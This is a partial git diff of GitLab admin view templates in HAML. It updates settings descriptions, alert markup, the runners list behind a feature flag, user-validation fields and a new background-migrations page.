@@ -19,7 +19,7 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Auto DevOps, runners and job artifacts')
+ = _('Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts.')
.settings-content
= render 'ci_cd'
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 217225e6186..0fbbef02613 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -31,7 +31,7 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Diff content limits')
+ = _('Set size limits for displaying diffs in the browser.')
.settings-content
= render 'diff_limits'
@@ -88,7 +88,7 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Manage Web IDE features')
+ = _('Manage Web IDE features.')
.settings-content
= form_for @application_setting, url: general_admin_application_settings_path(anchor: "#js-web-ide-settings"), html: { class: 'fieldset-form', id: 'web-ide-settings' } do |f|
= form_errors(@application_setting)
@@ -100,7 +100,8 @@
= f.label :web_ide_clientside_preview_enabled, class: 'form-check-label' do
= s_('IDE|Live Preview')
%span.form-text.text-muted
- = s_('IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview.')
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('user/project/web_ide/index', anchor: 'enable-live-preview') }
+ = s_('Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} ').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
= render_if_exists 'admin/application_settings/maintenance_mode_settings_form'
diff --git a/app/views/admin/application_settings/integrations.html.haml b/app/views/admin/application_settings/integrations.html.haml
index 93bc054754e..7a81d53c085 100644
--- a/app/views/admin/application_settings/integrations.html.haml
+++ b/app/views/admin/application_settings/integrations.html.haml
@@ -2,19 +2,8 @@
- page_title _('Integrations')
- @content_class = 'limit-container-width' unless fluid_layout
-- if show_admin_integrations_moved?
- .gl-alert.gl-alert-info.js-admin-integrations-moved.mt-3{ role: 'alert', data: { feature_id: UserCalloutsHelper::ADMIN_INTEGRATIONS_MOVED, dismiss_endpoint: user_callouts_path } }
- = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
- .gl-alert-body
- %h4.gl-alert-title= s_('AdminSettings|Some settings have moved')
- = html_escape_once(s_('AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General.')).html_safe
- .gl-alert-actions
- = link_to s_('AdminSettings|Go to General Settings'), general_admin_application_settings_path, class: 'btn gl-alert-action btn-info gl-button'
-
%h3= s_('Integrations|Project integration management')
- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
-%p= s_('Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}.').html_safe % { integrations_link_start: integrations_link_start, link_end: '</a>'.html_safe }
+%p= s_("Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/admin/background_migrations/_migration.html.haml b/app/views/admin/background_migrations/_migration.html.haml
new file mode 100644
index 00000000000..40860ea9400
--- /dev/null
+++ b/app/views/admin/background_migrations/_migration.html.haml
@@ -0,0 +1,10 @@
+%tr{ role: 'row' }
+ %td{ role: 'cell', data: { label: _('Migration') } }= migration.job_class_name + ': ' + migration.table_name
+ %td{ role: 'cell', data: { label: _('Progress') } }
+ - progress = batched_migration_progress(migration, @successful_rows_counts[migration.id])
+ - if progress
+ = number_to_percentage(progress, precision: 2)
+ - else
+ = _('Unknown')
+ %td{ role: 'cell', data: { label: _('Status') } }
+ %span.badge.badge-pill.gl-badge.sm{ class: batched_migration_status_badge_class_name(migration) }= migration.status.humanize
diff --git a/app/views/admin/background_migrations/index.html.haml b/app/views/admin/background_migrations/index.html.haml
new file mode 100644
index 00000000000..2a372c89912
--- /dev/null
+++ b/app/views/admin/background_migrations/index.html.haml
@@ -0,0 +1,35 @@
+- page_title _('Background Migrations')
+
+.tabs.gl-tabs
+ %div
+ %ul.nav.gl-tabs-nav{ role: 'tablist' }
+ - active_tab_classes = ['gl-tab-nav-item-active', 'gl-tab-nav-item-active-indigo']
+
+ %li.nav-item{ role: 'presentation' }
+ %a.nav-link.gl-tab-nav-item{ href: admin_background_migrations_path, class: (active_tab_classes if @current_tab == 'queued'), role: 'tab' }
+ = _('Queued')
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm
+ = limited_counter_with_delimiter(@relations_by_tab['queued'])
+ %li.nav-item{ role: 'presentation' }
+ %a.nav-link.gl-tab-nav-item{ href: admin_background_migrations_path(tab: 'failed'), class: (active_tab_classes if @current_tab == 'failed'), role: 'tab' }
+ = _('Failed')
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm
+ = limited_counter_with_delimiter(@relations_by_tab['failed'])
+ %li.nav-item{ role: 'presentation' }
+ %a.nav-link.gl-tab-nav-item{ href: admin_background_migrations_path(tab: 'finished'), class: (active_tab_classes if @current_tab == 'finished'), role: 'tab' }
+ = _('Finished')
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm
+ = limited_counter_with_delimiter(@relations_by_tab['finished'])
+
+ .tab-content.gl-tab-content
+ .tab-pane.active{ role: 'tabpanel' }
+ %table.table.b-table.gl-table.b-table-stacked-md{ role: 'table' }
+ %thead{ role: 'rowgroup' }
+ %tr{ role: 'row' }
+ %th.table-th-transparent.border-bottom{ role: 'cell' }= _('Migration')
+ %th.table-th-transparent.border-bottom{ role: 'cell' }= _('Progress')
+ %th.table-th-transparent.border-bottom{ role: 'cell' }= _('Status')
+ %tbody{ role: 'rowgroup' }
+ = render partial: 'migration', collection: @migrations
+
+ = paginate_collection @migrations
diff --git a/app/views/admin/broadcast_messages/_form.html.haml b/app/views/admin/broadcast_messages/_form.html.haml
index fe5759ecdbf..b68c22b6942 100644
--- a/app/views/admin/broadcast_messages/_form.html.haml
+++ b/app/views/admin/broadcast_messages/_form.html.haml
@@ -1,10 +1,12 @@
.broadcast-message.broadcast-banner-message.gl-alert-warning.js-broadcast-banner-message-preview.gl-mt-3{ style: broadcast_message_style(@broadcast_message), class: ('gl-display-none' unless @broadcast_message.banner? ) }
- = sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
- .js-broadcast-message-preview
- - if @broadcast_message.message.present?
- = render_broadcast_message(@broadcast_message)
- - else
- = _('Your message here')
+ .gl-alert-container
+ = sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
+ .js-broadcast-message-preview
+ .gl-alert-content
+ - if @broadcast_message.message.present?
+ = render_broadcast_message(@broadcast_message)
+ - else
+ = _('Your message here')
.d-flex.justify-content-center
.broadcast-message.broadcast-notification-message.preview.js-broadcast-notification-message-preview.mt-2{ class: ('hidden' unless @broadcast_message.notification? ) }
= sprite_icon('bullhorn', css_class: 'vertical-align-text-top')
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 2dbb804d537..58c65bdc8c7 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -9,6 +9,9 @@
dismissible: true.to_s } }
= notice[:message].html_safe
+- if Gitlab.ee? && display_upcoming_reconciliation_alert?
+ #js-qrtly-reconciliation-alert{ data: upcoming_reconciliation_hash }
+
- if @license.present?
.license-panel.gl-mt-5
= render_if_exists 'admin/licenses/summary'
diff --git a/app/views/admin/groups/_form.html.haml b/app/views/admin/groups/_form.html.haml
index 84a9b988d22..e7e0e58f6fb 100644
--- a/app/views/admin/groups/_form.html.haml
+++ b/app/views/admin/groups/_form.html.haml
@@ -27,10 +27,12 @@
- if @group.new_record?
.form-group.row
.offset-sm-2.col-sm-10
- .gl-alert.gl-alert-info
- = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- = render 'shared/group_tips'
+ .gl-alert.gl-alert-
+ .gl-alert-container
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ = render 'shared/group_tips'
.form-actions
= f.submit _('Create group'), class: "gl-button btn btn-confirm"
= link_to _('Cancel'), admin_groups_path, class: "gl-button btn btn-default btn-cancel"
diff --git a/app/views/admin/runners/_runner.html.haml b/app/views/admin/runners/_runner.html.haml
index c3e4626c14e..da2fcd5a4a6 100644
--- a/app/views/admin/runners/_runner.html.haml
+++ b/app/views/admin/runners/_runner.html.haml
@@ -1,7 +1,7 @@
-# Note: This file should stay aligned with:
-# `app/views/groups/runners/_runner.html.haml`
-.gl-responsive-table-row{ id: dom_id(runner) }
+.gl-responsive-table-row{ data: { testid: "runner-row-#{runner.id}" } }
.table-section.section-10.section-wrap
.table-mobile-header{ role: 'rowheader' }= _('Type')
.table-mobile-content
diff --git a/app/views/admin/runners/index.html.haml b/app/views/admin/runners/index.html.haml
index 359e5b411b1..07fbc3e5398 100644
--- a/app/views/admin/runners/index.html.haml
+++ b/app/views/admin/runners/index.html.haml
@@ -1,87 +1,97 @@
- breadcrumb_title _('Runners')
- page_title _('Runners')
-.row
- .col-sm-6
- .bs-callout
- %p
- = _("Runners are processes that pick up and execute CI/CD jobs for GitLab.")
- %br
- = _('You can register runners as separate users, on separate servers, and on your local machine. Register as many runners as you want.')
- %br
+- if Feature.enabled?(:runner_list_view_vue_ui, current_user, default_enabled: :yaml)
+ #js-runner-list{ data: { registration_token: Gitlab::CurrentSettings.runners_registration_token, runner_install_help_page: 'https://docs.gitlab.com/runner/install/', active_runners_count: @active_runners_count } }
+- else
+ .row
+ .col-sm-6
+ .bs-callout
+ %p
+ = _("Runners are processes that pick up and execute CI/CD jobs for GitLab.")
+ %br
+ = _('You can register runners as separate users, on separate servers, and on your local machine. Register as many runners as you want.')
+ %br
- %div
- %span= _('Runners can be:')
- %ul
- %li
- %span.badge.badge-pill.gl-badge.sm.badge-success shared
- \-
- = _('Runs jobs from all unassigned projects.')
- %li
- %span.badge.badge-pill.gl-badge.sm.badge-success group
- \-
- = _('Runs jobs from all unassigned projects in its group.')
- %li
- %span.badge.badge-pill.gl-badge.sm.badge-info specific
- \-
- = _('Runs jobs from assigned projects.')
- %li
- %span.badge.badge-pill.gl-badge.sm.badge-warning locked
- \-
- = _('Cannot be assigned to other projects.')
- %li
- %span.badge.badge-pill.gl-badge.sm.badge-danger paused
- \-
- = _('Not available to run jobs.')
+ %div
+ %span= _('Runners can be:')
+ %ul
+ %li
+ %span.badge.badge-pill.gl-badge.sm.badge-success shared
+ \-
+ = _('Runs jobs from all unassigned projects.')
+ %li
+ %span.badge.badge-pill.gl-badge.sm.badge-success group
+ \-
+ = _('Runs jobs from all unassigned projects in its group.')
+ %li
+ %span.badge.badge-pill.gl-badge.sm.badge-info specific
+ \-
+ = _('Runs jobs from assigned projects.')
+ %li
+ %span.badge.badge-pill.gl-badge.sm.badge-warning locked
+ \-
+ = _('Cannot be assigned to other projects.')
+ %li
+ %span.badge.badge-pill.gl-badge.sm.badge-danger paused
+ \-
+ = _('Not available to run jobs.')
- .col-sm-6
- .bs-callout
- = render partial: 'ci/runner/how_to_setup_runner',
- locals: { registration_token: Gitlab::CurrentSettings.runners_registration_token,
- type: 'shared',
- reset_token_url: reset_registration_token_admin_application_settings_path,
- project_path: '',
- group_path: '' }
+ .col-sm-6
+ .bs-callout
+ = render partial: 'ci/runner/how_to_setup_runner',
+ locals: { registration_token: Gitlab::CurrentSettings.runners_registration_token,
+ type: 'shared',
+ reset_token_url: reset_registration_token_admin_application_settings_path,
+ project_path: '',
+ group_path: '' }
-.row
- .col-sm-9
- = form_tag admin_runners_path, id: 'runners-search', method: :get, class: 'filter-form js-filter-form' do
- .filtered-search-wrapper.d-flex
- .filtered-search-box
- = dropdown_tag(_('Recent searches'),
- options: { wrapper_class: 'filtered-search-history-dropdown-wrapper',
- toggle_class: 'gl-button btn btn-default filtered-search-history-dropdown-toggle-button',
- dropdown_class: 'filtered-search-history-dropdown',
- content_class: 'filtered-search-history-dropdown-content' }) do
- .js-filtered-search-history-dropdown{ data: { full_path: admin_runners_path } }
- .filtered-search-box-input-container.droplab-dropdown
- .scroll-container
- %ul.tokens-container.list-unstyled
- %li.input-token
- %input.form-control.filtered-search{ search_filter_input_options('runners') }
- #js-dropdown-hint.filtered-search-input-dropdown-menu.dropdown-menu.hint-dropdown
- %ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
- %li.filter-dropdown-item{ data: {hint: "#{'{{hint}}'}", tag: "#{'{{tag}}'}", action: "#{'{{hint === \'search\' ? \'submit\' : \'\' }}'}" } }
- = button_tag class: %w[gl-button btn btn-link] do
- -# Encapsulate static class name `{{icon}}` inside #{} to bypass
- -# haml lint's ClassAttributeWithStaticValue
- %svg
- %use{ 'xlink:href': "#{'{{icon}}'}" }
- %span.js-filter-hint
- {{formattedKey}}
- #js-dropdown-operator.filtered-search-input-dropdown-menu.dropdown-menu
- %ul.filter-dropdown{ data: { dropdown: true, dynamic: true } }
- %li.filter-dropdown-item{ data: { value: "{{ title }}" } }
- %button.gl-button.btn.btn-link{ type: 'button' }
- {{ title }}
- %span.btn-helptext
- {{ help }}
- #js-dropdown-admin-runner-status.filtered-search-input-dropdown-menu.dropdown-menu
- %ul{ data: { dropdown: true } }
- - Ci::Runner::AVAILABLE_STATUSES.each do |status|
- %li.filter-dropdown-item{ data: { value: status } }
+ .row
+ .col-sm-9
+ = form_tag admin_runners_path, id: 'runners-search', method: :get, class: 'filter-form js-filter-form' do
+ .filtered-search-wrapper.d-flex
+ .filtered-search-box
+ = dropdown_tag(_('Recent searches'),
+ options: { wrapper_class: 'filtered-search-history-dropdown-wrapper',
+ toggle_class: 'gl-button btn btn-default filtered-search-history-dropdown-toggle-button',
+ dropdown_class: 'filtered-search-history-dropdown',
+ content_class: 'filtered-search-history-dropdown-content' }) do
+ .js-filtered-search-history-dropdown{ data: { full_path: admin_runners_path } }
+ .filtered-search-box-input-container.droplab-dropdown
+ .scroll-container
+ %ul.tokens-container.list-unstyled
+ %li.input-token
+ %input.form-control.filtered-search{ search_filter_input_options('runners') }
+ #js-dropdown-hint.filtered-search-input-dropdown-menu.dropdown-menu.hint-dropdown
+ %ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
+ %li.filter-dropdown-item{ data: {hint: "#{'{{hint}}'}", tag: "#{'{{tag}}'}", action: "#{'{{hint === \'search\' ? \'submit\' : \'\' }}'}" } }
= button_tag class: %w[gl-button btn btn-link] do
- = status.titleize
+ -# Encapsulate static class name `{{icon}}` inside #{} to bypass
+ -# haml lint's ClassAttributeWithStaticValue
+ %svg
+ %use{ 'xlink:href': "#{'{{icon}}'}" }
+ %span.js-filter-hint
+ {{formattedKey}}
+ #js-dropdown-operator.filtered-search-input-dropdown-menu.dropdown-menu
+ %ul.filter-dropdown{ data: { dropdown: true, dynamic: true } }
+ %li.filter-dropdown-item{ data: { value: "{{ title }}" } }
+ %button.gl-button.btn.btn-link{ type: 'button' }
+ {{ title }}
+ %span.btn-helptext
+ {{ help }}
+ #js-dropdown-admin-runner-status.filtered-search-input-dropdown-menu.dropdown-menu
+ %ul{ data: { dropdown: true } }
+ - Ci::Runner::AVAILABLE_STATUSES.each do |status|
+ %li.filter-dropdown-item{ data: { value: status } }
+ = button_tag class: %w[gl-button btn btn-link] do
+ = status.titleize
+
+ #js-dropdown-admin-runner-type.filtered-search-input-dropdown-menu.dropdown-menu
+ %ul{ data: { dropdown: true } }
+ - Ci::Runner::AVAILABLE_TYPES.each do |runner_type|
+ %li.filter-dropdown-item{ data: { value: runner_type } }
+ = button_tag class: %w[gl-button btn btn-link] do
+ = runner_type.titleize
#js-dropdown-admin-runner-type.filtered-search-input-dropdown-menu.dropdown-menu
%ul{ data: { dropdown: true } }
@@ -90,49 +100,41 @@
= button_tag class: %w[gl-button btn btn-link] do
= runner_type.titleize
- #js-dropdown-admin-runner-type.filtered-search-input-dropdown-menu.dropdown-menu
- %ul{ data: { dropdown: true } }
- - Ci::Runner::AVAILABLE_TYPES.each do |runner_type|
- %li.filter-dropdown-item{ data: { value: runner_type } }
- = button_tag class: %w[gl-button btn btn-link] do
- = runner_type.titleize
-
- #js-dropdown-runner-tag.filtered-search-input-dropdown-menu.dropdown-menu
- %ul{ data: { dropdown: true } }
- %li.filter-dropdown-item{ data: { value: 'none' } }
- %button.gl-button.btn.btn-link
- = _('No Tag')
- %li.divider.droplab-item-ignore
- %ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
- %li.filter-dropdown-item
- %button.gl-button.btn.btn-link.js-data-value
- %span.dropdown-light-content
- {{name}}
-
- = button_tag class: %w[clear-search hidden] do
- = sprite_icon('close', size: 16, css_class: 'clear-search-icon')
- .filter-dropdown-container
- = render 'sort_dropdown'
+ #js-dropdown-runner-tag.filtered-search-input-dropdown-menu.dropdown-menu
+ %ul{ data: { dropdown: true } }
+ %li.filter-dropdown-item{ data: { value: 'none' } }
+ %button.gl-button.btn.btn-link
+ = _('No Tag')
+ %li.divider.droplab-item-ignore
+ %ul.filter-dropdown{ data: { dynamic: true, dropdown: true } }
+ %li.filter-dropdown-item
+ %button.gl-button.btn.btn-link.js-data-value
+ %span.dropdown-light-content
+ {{name}}
- .col-sm-3.text-right-lg
- = _('Runners currently online: %{active_runners_count}') % { active_runners_count: @active_runners_count }
+ = button_tag class: %w[clear-search hidden] do
+ = sprite_icon('close', size: 16, css_class: 'clear-search-icon')
+ .filter-dropdown-container
+ = render 'sort_dropdown'
-- if @runners.any?
- .content-list{ data: { testid: 'runners-table' } }
- .table-holder
- .gl-responsive-table-row.table-row-header{ role: 'row' }
- .table-section.section-10{ role: 'rowheader' }= _('Type/State')
- .table-section.section-30{ role: 'rowheader' }= s_('Runners|Runner')
- .table-section.section-10{ role: 'rowheader' }= _('Version')
- .table-section.section-10{ role: 'rowheader' }= _('IP Address')
- .table-section.section-5{ role: 'rowheader' }= _('Projects')
- .table-section.section-5{ role: 'rowheader' }= _('Jobs')
- .table-section.section-10{ role: 'rowheader' }= _('Tags')
- .table-section.section-10{ role: 'rowheader' }= _('Last contact')
- .table-section.section-10{ role: 'rowheader' }
+ .col-sm-3.text-right-lg
+ = _('Runners currently online: %{active_runners_count}') % { active_runners_count: @active_runners_count }
+ - if @runners.any?
+ .content-list{ data: { testid: 'runners-table' } }
+ .table-holder
+ .gl-responsive-table-row.table-row-header{ role: 'row' }
+ .table-section.section-10{ role: 'rowheader' }= _('Type/State')
+ .table-section.section-30{ role: 'rowheader' }= s_('Runners|Runner')
+ .table-section.section-10{ role: 'rowheader' }= _('Version')
+ .table-section.section-10{ role: 'rowheader' }= _('IP Address')
+ .table-section.section-5{ role: 'rowheader' }= _('Projects')
+ .table-section.section-5{ role: 'rowheader' }= _('Jobs')
+ .table-section.section-10{ role: 'rowheader' }= _('Tags')
+ .table-section.section-10{ role: 'rowheader' }= _('Last contact')
+ .table-section.section-10{ role: 'rowheader' }
- - @runners.each do |runner|
- = render 'admin/runners/runner', runner: runner
- = paginate @runners, theme: 'gitlab'
-- else
- .nothing-here-block= _('No runners found')
+ - @runners.each do |runner|
+ = render 'admin/runners/runner', runner: runner
+ = paginate @runners, theme: 'gitlab'
+ - else
+ .nothing-here-block= _('No runners found')
diff --git a/app/views/admin/runners/show.html.haml b/app/views/admin/runners/show.html.haml
index d911f35d946..d03a782756b 100644
--- a/app/views/admin/runners/show.html.haml
+++ b/app/views/admin/runners/show.html.haml
@@ -10,11 +10,9 @@
%h2.page-title
= s_('Runners|Runner #%{runner_id}' % { runner_id: @runner.id })
= render 'shared/runners/runner_type_badge', runner: @runner
-
-= render 'shared/runners/runner_type_alert', runner: @runner
-
-.gl-mb-6
- = render 'shared/runners/form', runner: @runner, runner_form_url: admin_runner_path(@runner), in_gitlab_com_admin_context: Gitlab.com?
+ = render 'shared/runners/runner_type_alert', runner: @runner
+ .gl-mb-6
+ = render 'shared/runners/form', runner: @runner, runner_form_url: admin_runner_path(@runner), in_gitlab_com_admin_context: Gitlab.com?
.row
.col-md-6
diff --git a/app/views/admin/serverless/domains/_form.html.haml b/app/views/admin/serverless/domains/_form.html.haml
index 85f2260163a..a3e1ccc5d4a 100644
--- a/app/views/admin/serverless/domains/_form.html.haml
+++ b/app/views/admin/serverless/domains/_form.html.haml
@@ -79,7 +79,7 @@
.modal-header
%h3.page-title= _('Delete serverless domain?')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
- if domain_attached
diff --git a/app/views/admin/services/_service_templates_deprecated_alert.html.haml b/app/views/admin/services/_service_templates_deprecated_alert.html.haml
index 0cc44099049..eac2f9c7f4e 100644
--- a/app/views/admin/services/_service_templates_deprecated_alert.html.haml
+++ b/app/views/admin/services/_service_templates_deprecated_alert.html.haml
@@ -2,7 +2,9 @@
- settings_link_start = "<a href=\"#{integrations_admin_application_settings_path}\">".html_safe
.gl-alert.gl-alert-danger.gl-mt-5{ role: 'alert' }
- = sprite_icon('error', css_class: 'gl-alert-icon gl-alert-icon-no-title')
- %h4.gl-alert-title= s_('AdminSettings|Service templates are deprecated and will be removed in GitLab 14.0.')
- .gl-alert-body
- = html_escape_once(s_("AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}.")).html_safe % { settings_link_start: settings_link_start, doc_link_start: doc_link_start, link_end: '</a>'.html_safe }
+ .gl-alert-container
+ = sprite_icon('error', css_class: 'gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ %h4.gl-alert-title= s_('AdminSettings|Service templates are deprecated and will be removed in GitLab 14.0.')
+ .gl-alert-body
+ = html_escape_once(s_("AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}.")).html_safe % { settings_link_start: settings_link_start, doc_link_start: doc_link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/admin/users/_access_levels.html.haml b/app/views/admin/users/_access_levels.html.haml
index 573580bc5c5..aeb274fe2cb 100644
--- a/app/views/admin/users/_access_levels.html.haml
+++ b/app/views/admin/users/_access_levels.html.haml
@@ -48,3 +48,17 @@
%row.hidden#warning_external_automatically_set.hidden
.badge.badge-warning.text-white
= s_('AdminUsers|Automatically marked as default internal user')
+
+ .form-group.row
+ - @user.credit_card_validation || @user.build_credit_card_validation
+ = f.fields_for :credit_card_validation do |ff|
+ .col-sm-2.col-form-label.gl-pt-0
+ = ff.label s_("AdminUsers|Validate user account")
+ .col-sm-10.gl-display-flex.gl-align-items-baseline
+ = ff.check_box :credit_card_validated_at, checked: @user.credit_card_validated_at.present?
+ .gl-pl-2
+ .light
+ = s_('AdminUsers|User is validated and can use free CI minutes on shared runners.')
+ .gl-text-gray-600
+ = s_('AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user.')
+
diff --git a/app/views/admin/users/_modals.html.haml b/app/views/admin/users/_modals.html.haml
index f6e7cefafe7..0890990f476 100644
--- a/app/views/admin/users/_modals.html.haml
+++ b/app/views/admin/users/_modals.html.haml
@@ -1,5 +1,5 @@
#js-delete-user-modal
-#js-modal-texts.hidden{ "hidden": true, "aria-hidden": true }
+#js-modal-texts.hidden{ "hidden": true, "aria-hidden": "true" }
%div{ data: { modal: "delete",
title: s_("AdminUsers|Delete User %{username}?"),
action: s_('AdminUsers|Delete user'),
diff --git a/app/views/admin/users/_user.html.haml b/app/views/admin/users/_user.html.haml
deleted file mode 100644
index 2816a1061b9..00000000000
--- a/app/views/admin/users/_user.html.haml
+++ /dev/null
@@ -1,72 +0,0 @@
-.gl-responsive-table-row{ role: 'row', data: { qa_selector: 'user_row_content' } }
- .table-section.section-40
- .table-mobile-header{ role: 'rowheader' }
- = _('Name')
- .table-mobile-content
- = render 'user_detail', user: user
- .table-section.section-10
- .table-mobile-header{ role: 'rowheader' }
- = _('Projects')
- .table-mobile-content.gl-str-truncated{ data: { testid: "user-project-count-#{user.id}" } }
- = user.authorized_projects.length
- .table-section.section-15
- .table-mobile-header{ role: 'rowheader' }
- = _('Created on')
- .table-mobile-content
- = l(user.created_at.to_date, format: :admin)
- .table-section.section-15
- .table-mobile-header{ role: 'rowheader' }
- = _('Last activity')
- .table-mobile-content
- = user.last_activity_on.nil? ? _('Never') : l(user.last_activity_on, format: :admin)
- - unless user.internal?
- .table-section.section-20.table-button-footer
- .table-action-buttons{ data: { testid: "user-actions-#{user.id}" } }
- = link_to _('Edit'), edit_admin_user_path(user), class: 'btn gl-button btn-default'
- - unless user == current_user
- %button.dropdown-new.btn.gl-button.btn-default{ type: 'button', data: { testid: "dropdown-toggle", toggle: 'dropdown' } }
- = sprite_icon('settings')
- = sprite_icon('chevron-down')
- %ul.dropdown-menu.dropdown-menu-right
- %li.dropdown-header
- = _('Settings')
- %li
- - if user.ldap_blocked?
- %span.small
- = s_('AdminUsers|Cannot unblock LDAP blocked users')
- - elsif user.blocked?
- - if user.blocked_pending_approval?
- = link_to s_('AdminUsers|Approve'), approve_admin_user_path(user), method: :put
- = link_to s_('AdminUsers|Reject'), reject_admin_user_path(user), method: :delete
- - else
- %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_unblock_data(user) }
- = s_('AdminUsers|Unblock')
- - else
- %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_block_data(user, user_block_effects) }
- = s_('AdminUsers|Block')
- - if user.can_be_deactivated?
- %li
- %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_deactivation_data(user, user_deactivation_effects) }
- = s_('AdminUsers|Deactivate')
- - elsif user.deactivated?
- %li
- %button.gl-button.btn.btn-default-tertiary.js-confirm-modal-button{ data: user_activation_data(user) }
- = s_('AdminUsers|Activate')
- - if user.access_locked?
- %li
- = link_to _('Unlock'), unlock_admin_user_path(user), method: :put, data: { confirm: _('Are you sure?') }
- - if can?(current_user, :destroy_user, user) && !user.blocked_pending_approval?
- %li.divider
- - if user.can_be_removed?
- %li
- %button.js-delete-user-modal-button.gl-button.btn.btn-danger-tertiary{ data: { 'gl-modal-action': 'delete',
- delete_user_url: admin_user_path(user),
- block_user_url: block_admin_user_path(user),
- username: sanitize_name(user.name) } }
- = s_('AdminUsers|Delete user')
- %li
- %button.js-delete-user-modal-button.gl-button.btn.btn-danger-tertiary{ data: { 'gl-modal-action': 'delete-with-contributions',
- delete_user_url: admin_user_path(user, hard_delete: true),
- block_user_url: block_admin_user_path(user),
- username: sanitize_name(user.name) } }
- = s_('AdminUsers|Delete user and contributions')
diff --git a/app/views/admin/users/_users.html.haml b/app/views/admin/users/_users.html.haml
index e4438f38a47..1a43d91b800 100644
--- a/app/views/admin/users/_users.html.haml
+++ b/app/views/admin/users/_users.html.haml
@@ -73,20 +73,9 @@
= link_to admin_users_path(sort: value, filter: params[:filter], search_query: params[:search_query]) do
= title
-- if Feature.enabled?(:vue_admin_users, default_enabled: :yaml)
- #js-admin-users-app{ data: admin_users_data_attributes(@users) }
- .gl-spinner-container.gl-my-7
- %span.gl-vertical-align-bottom.gl-spinner.gl-spinner-dark.gl-spinner-lg{ aria: { label: _('Loading') } }
-- elsif @users.empty?
- .nothing-here-block.border-top-0
- = s_('AdminUsers|No users found')
-- else
- .table-holder
- .thead-white.text-nowrap.gl-responsive-table-row.table-row-header{ role: 'row' }
- - user_table_headers.each do |header|
- .table-section{ class: header[:section_class_name], role: 'rowheader' }= header[:header_text]
-
- = render partial: 'admin/users/user', collection: @users
+#js-admin-users-app{ data: admin_users_data_attributes(@users) }
+ .gl-spinner-container.gl-my-7
+ %span.gl-vertical-align-bottom.gl-spinner.gl-spinner-dark.gl-spinner-lg{ aria: { label: _('Loading') } }
= paginate_collection @users
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 19cc29668f5..08c1e089f21 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -59,6 +59,7 @@
= _('Disabled')
= render_if_exists 'admin/namespace_plan_info', namespace: @user.namespace
+ = render_if_exists 'admin/users/credit_card_info', user: @user
%li
%span.light= _('External User:')
diff --git a/app/views/ci/runner/_how_to_setup_runner.html.haml b/app/views/ci/runner/_how_to_setup_runner.html.haml
index 03a3c9b0de8..cddea17efbf 100644
--- a/app/views/ci/runner/_how_to_setup_runner.html.haml
+++ b/app/views/ci/runner/_how_to_setup_runner.html.haml
@@ -14,7 +14,7 @@
%br
= _("And this registration token:")
%br
- %code#registration_token= registration_token
+ %code#registration_token{ data: {testid: 'registration_token' } }= registration_token
= clipboard_button(target: '#registration_token', title: _("Copy token"), class: "btn-transparent btn-clipboard")
.gl-mt-3.gl-mb-3
